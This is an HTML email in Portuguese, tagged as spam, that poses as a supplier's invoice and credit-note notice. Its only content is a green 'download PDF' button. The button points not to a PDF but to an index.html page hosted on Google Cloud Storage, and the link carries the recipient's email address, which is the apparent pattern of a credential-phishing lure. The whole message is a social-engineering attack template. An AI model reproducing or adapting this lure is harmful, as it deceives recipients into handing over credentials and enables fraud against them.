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Subject: ***SPAM*** Documentos Fiscais
<!DOCTYPE html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fatura e Nota de Crédito</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
line-height: 1.6;
color: #333;
max-width: 600px;
margin: 0 auto;
padding: 20px;
}
.header {
text-align: center;
padding-bottom: 20px;
border-bottom: 2px solid #f0f0f0;
margin-bottom: 30px;
}
.content {
background-color: #f9f9f9;
padding: 25px;
border-radius: 8px;
margin-bottom: 20px;
}
.button {
display: block;
width: 80%;
max-width: 300px;
margin: 30px auto;
padding: 15px;
background-color: #4CAF50;
color: white;
text-align: center;
text-decoration: none;
font-weight: bold;
border-radius: 5px;
transition: background-color 0.3s;
}
.button:hover {
background-color: #45a049;
}
.footer {
text-align: center;
font-size: 0.9em;
color: #666;
margin-top: 30px;
padding-top: 20px;
border-top: 2px solid #f0f0f0;
}
</style>
</head>
<body>
<div class="header">
<h2>Documentos de Faturação</h2>
</div>
<div class="content">
<p>Caro cliente,</p>
<p>Serve o presente para enviar o nosso documento de faturação em anexo:</p>
<a href="https://storage.googleapis.com/extempresa/arcomp/index.html?hash=encomendas@mak.pt" class="button">Descarregar Fatura e Nota de Crédito.pdf</a>
<p>Caso não esteja conforme com o que encomendaram ou com o que foi entregue, agradecemos que entre o mais rápido em contato com o seu comercial.</p>
</div>
<div class="footer">
<p>Melhores Cumprimentos,</p>
</div>
</body>
</html>